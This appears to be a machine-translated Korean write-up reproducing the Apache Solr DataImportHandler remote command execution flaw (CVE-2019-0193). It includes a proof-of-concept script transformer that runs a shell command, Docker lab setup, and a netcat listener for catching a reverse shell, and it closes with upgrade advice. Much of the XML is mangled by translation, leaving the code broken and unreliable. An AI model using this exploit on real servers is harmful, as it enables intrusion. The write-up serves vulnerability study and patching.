제목 : Apache Solr 원격 명령 실행 취약성 재발

Apache Solr 远程命令执行漏洞​

2019 년 8 월 1 일, Apache Solr은 공식적으로 CVE-2019-0193 취약성 경고를 공식적으로 발표했으며 취약성 위험 등급이 심각합니다.
취약점은 데이터베이스 및 기타 소스에서 데이터를 추출하는 데 선택 사항이지만 일반적으로 사용되는 모듈 인 Apache Solr의 DataImporthandler에서 발생합니다. 외부 요청 된 DataConfig 매개 변수를 통해 모든 DIH 구성을 설정할 수있는 기능이 있습니다. DIH 구성에는 스크립트가 포함될 수 있으므로 공격자는 위험한 요청을 구성하여 원격 명령 실행을 만들 수 있습니다.
360Cert는 취약성 수준이 높다고 판단하며 Apache Solr 사용자가 제 시간에 업그레이드하여 공격자가 공격하는 것을 방지하는 것이 좋습니다.

POC​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Dataconfig
스크립트! [cdata [
함수 f1 (행) {
var run=java.lang.runtime.getRuntime (). exec ( 'touch /tmp /success');
row.put ( 'name', 'hello world!');
반환 행;
}
]]/스크립트
문서
엔티티 이름='person'transformer='script:f1'query='select * from person'pk='id'
필드 열='ID'이름='id' /
필드 열='이름'이름='이름' /
/실재
/문서
/dataconfig

漏洞成因​

이 취약점은 두 가지 이유로 인해 발생합니다.
사용자는 solrconfig.xml 파일에서 dataimporthandler를 설정하고 dataimport 기능을 활성화합니다.
DataImporthandler 모듈을 사용하면 사용자가 스크립트를 직접 포함시킬 수 있습니다.
공격자는 악의적 인 스크립트를 구성하여 구문 분석을 위해 변환기로 넘겨 줄 수 있습니다. Solr Parsing 프로세스 중에 사용자의 입력이 확인되지 않아 공격자가 Solr 서버에서 원격으로 명령을 실행할 수 있습니다.

环境搭建​

solr部署​

이 환경은 Docker 배포를 채택합니다
이미지를 당기십시오 : Docker Pull Solr: 8.1.1
시작 컨테이너 : Docker Run –Name Solr -D -P 898:8983 -t Solr:8.1.1
http://ip:8983/를 방문하십시오. Apache Solr 프레임 워크가 배포되었습니다
20190807203033.png-water_print

开启DataImportHandler插件​

新建core:​

20190807203222.png-water_print

코어 추가를 클릭하면 Solr 시스템에 오류가보고됩니다.
그런 다음 실행 : docker exec -It -user root solr /bin /bash를 실행하고 Solr 컨테이너를 입력하십시오.
컨테이너에 들어간 후 : 실행 :
1
2
3
4
5
cp/opt/solr-8.1.1/server/solr/configsets/_default/conf/var/data/new_core/
cp/opt/solr/dist/solr-dataimporthandler-8.1.1.jar/opt/solr/server/solr-webapp/webapp/webapp/web-inf/lib
cp/opt/solr/dist/solr-dataimporthandler-extras-8.1.1.jar/opt/solr/server/solr-webapp/webapp/webapp/web-inf/lib
CD/var/solr/data/new_core/conf/
vim solrconfig.xml

DataImportHandler 插件配置​

다음 XML을 solrconfig.xml에 추가하십시오
1
2
3
4
5
6
requestHandler name='/dateimport'
class='org.apache.solr.handler.dataimport.dataimporthandler'
lst name='기본값'
str name='config'data-config.xml/str
/lst
/requestHandler
참고 : XML 형식은 위의 형식을 따라야합니다. 그렇지 않으면 오류 가보고됩니다!
vim data-config.xml을 실행하고 다음 XML을 파일에 저장하십시오.
1
2
3
4
5
6
7
8
9
Dataconfig
DataSource 드라이버='com.mysql.jdbc.driver'url='jdbc:mysql: //ip:3306/securitytest'user='root'passwram='root'/
문서
엔티티 이름='person'query='select * from person'pk='id'
필드 열='ID'이름='id' /
필드 열='이름'이름='이름' /
/실재
/문서
/dataconfig
그런 다음 mysql-connector-java-5.1.48.jar를/opt/solr/server/solr-webapp/webapp/webapp/web-inf/lib 폴더에 넣으십시오

重启 solr​

그런 다음 Solr :/opt/solr/bin/solr 재시작을 다시 시작하십시오
이 시점에서 취약성 환경이 구축되었으며 성공적인 구성의 스크린 샷은 다음과 같습니다.
20190807204045.png-water_print

漏洞测试​

访问管理页面​

브라우저 액세스 : http://ip:8983/

开启 Debug 模式​

POC를 구성으로 복사합니다.
20190807204426.png-water_print

20190807204958.png-water_print

피해자 기계가 실행 한 명령은 표시된 장소에서 교체 할 수 있습니다. 이 기사는 리바운드 쉘을 예로 들어 본다.

开启监听​

NC -LP 4567

执行命令​

이 구성으로 실행을 클릭하십시오
20190807205043.png-water_print

실행이 성공하면 쉘이 성공적으로 반등 한 것을 발견 할 수 있습니다.
20190807205235.png-water_print

影响范围​

Apache Solr 8.2.0

修复建议​

APACHE SOLR을 8.2.0 이상으로 업그레이드하십시오
 
뒤로
상단